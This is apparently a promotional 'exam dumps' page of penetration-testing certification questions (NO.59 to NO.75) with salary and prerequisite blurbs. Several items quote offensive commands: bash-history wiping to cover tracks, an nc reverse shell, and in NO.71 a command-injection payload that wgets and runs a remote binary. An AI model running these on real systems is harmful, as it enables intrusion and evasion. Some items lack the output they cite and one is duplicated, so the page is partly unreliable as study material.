PT0-002 - Latest Training Dumps

Check Real CompTIA PT0-002 Exam Question for Free (2022)

Get Ready to Boost your Prepare for your PT0-002 Exam with 142 Questions

How much is the salary of a CompTIA PT0-002 certified professional?

The salary of the CompTIA PT0-002 certified professional is dependent on the experience of the candidate, the type of organization they work for, the skills and qualifications they have, the company, location, and the certification. The average salary of a CompTIA PT0-002 certified professional who prepared himself with the help of the PT0-002 Dumps is as follows:

In the United States: 65,000 USD
In Canada: 50,000 CAD
In Australia: 55,000 AUD
In the United Kingdom: 59,000 GBP
In India: 40,000 INR

Get to know about the requirements of taking the CompTIA PT0-002 Certification Exam

Those who want to take the CompTIA PT0-002 Certification Exam should have the following knowledge and expertise.

The candidate should have a minimum of 3-4 years of hands-on information security or related experience.
The candidate should have Network+, Security+ or equivalent knowledge.

What is the objective of the CompTIA PT0-002 Certification Exam?

The CompTIA PT0-002 Certification Exam is designed to test the knowledge and skills required to plan and scope a penetration analyzing engagement including scanning, understanding legal and compliance requirements, analyzing results and, producing a written report with remediation techniques, of the candidate. You can achieve these goals with the help of the PT0-002 Dumps. Desktop and mobile security, Error handling, brute-forcing, security analyzing, and security policy compliance are the important objectives of this certification exam.

NO.59 A penetration tester gains access to a system and establishes persistence, and then runs the following commands:
cat /dev/null > temp
touch -r .bash_history temp
mv temp .bash_history
Which of the following actions is the tester MOST likely performing?

Redirecting Bash history to /dev/null

Making a copy of the user’s Bash history for further enumeration

Covering tracks by clearing the Bash history

Making decoy files on the system to confuse incident responders

NO.60 A penetration tester is reviewing the following SOW prior to engaging with a client:
“Network diagrams, logical and physical asset inventory, and employees’ names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client’s Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.” Based on the information in the SOW, which of the following behaviors would be considered unethical?
(Choose two.)

Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection

Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement

Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client’s senior leadership team

Seeking help with the engagement in underground hacker forums by sharing the client’s public IP address

Using a software-based erase tool to wipe the client’s findings from the penetration tester’s laptop

Retaining the SOW within the penetration tester’s company for future use so the sales team can plan future engagements

NO.61 A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

Data flooding

Session riding

Cybersquatting

Side channel

NO.62 A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

Run nmap with the -o, -p22, and -sC options set against the target

Run nmap with the -sV and -p22 options set against the target

Run nmap with the –script vulners option set against the target

Run nmap with the -sA option set against the target

NO.63 Given the following output:
User-agent:*
Disallow: /author/
Disallow: /xmlrpc.php
Disallow: /wp-admin
Disallow: /page/
During which of the following activities was this output MOST likely obtained?

Website scraping

Website cloning

Domain enumeration

URL enumeration

NO.64 A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

Wait for the next login and perform a downgrade attack on the server.

Capture traffic using Wireshark.

Perform a brute-force attack over the server.

Use an FTP exploit against the server.

NO.65 A penetration tester conducted a vulnerability scan against a client’s critical servers and found the following:

Which of the following would be a recommendation for remediation?

Deploy a user training program

Implement a patch management plan

Utilize the secure software development life cycle

Configure access controls on each of the servers

NO.66 A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

Whether sensitive client data is publicly accessible

Whether the connection between the cloud and the client is secure

Whether the client’s employees are trained properly to use the platform

Whether the cloud applications were developed using a secure SDLC

NO.67 A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

iam_enum_permissions

iam_privesc_scan

iam_backdoor_assume_role

iam_bruteforce_permissions

NO.68 A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

Create a one-shot systemd service to establish a reverse shell.

Obtain /etc/shadow and brute force the root password.

Run the nc -e /bin/sh <…> command.

Move laterally to create a user account on LDAP

Explanation
https://hosakacorp.net/p/systemd-user.html

NO.69 A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

Send deauthentication frames to the stations.

Perform jamming on all 2.4GHz and 5GHz channels.

Set the malicious AP to broadcast within dynamic frequency selection channels.

Modify the malicious AP configuration to not use a pre-shared key.

NO.70 A penetration tester is reviewing the following SOW prior to engaging with a client:
“Network diagrams, logical and physical asset inventory, and employees’ names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client’s Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.”
Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection

Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the
engagement

Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client’s senior leadership team

Seeking help with the engagement in underground hacker forums by sharing the client’s public IP address

Using a software-based erase tool to wipe the client’s findings from the penetration tester’s laptop

Retaining the SOW within the penetration tester’s company for future use so the sales team can plan future engagements

NO.71 A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = “POST “
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”
exploit += “HTTP/1.1”
Which of the following commands should the penetration tester run post-engagement?

grep -v apache ~/.bash_history > ~/.bash_history

rm -rf /tmp/apache

chmod 600 /tmp/apache

taskkill /IM “apache” /F

NO.72 You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Part 1 – nmap 192.168.2.2 -sV -O
Part 2 – Weak SMB file permissions

NO.73 A penetration tester ran the following commands on a Windows server:

Which of the following should the tester do AFTER delivering the final report?

Delete the scheduled batch job.

Close the reverse shell connection.

Downgrade the svsaccount permissions.

Remove the tester-created credentials.

NO.74 A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?

nmap -sT -vvv -O 192.168.1.2/24 -PO

nmap -sV 192.168.1.2/24 -PO

nmap -sA -v -O 192.168.1.2/24

nmap -sS -O 192.168.1.2/24 -T1

NO.75 A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial dat a. Which of the following should the tester do with this information to make this a successful exploit?

Perform XSS.

Conduct a watering-hole attack.

Use BeEF.

Use browser autopwn.

Loading …

Use Free PT0-002 Exam Questions that Stimulates Actual EXAM : https://www.trainingdump.com/CompTIA/PT0-002-practice-exam-dumps.html

Category PT0-002

Check Real CompTIA PT0-002 Exam Question for Free (2022) [Q59-Q75]

How much is the salary of a CompTIA PT0-002 certified professional?

Get to know about the requirements of taking the CompTIA PT0-002 Certification Exam

What is the objective of the CompTIA PT0-002 Certification Exam?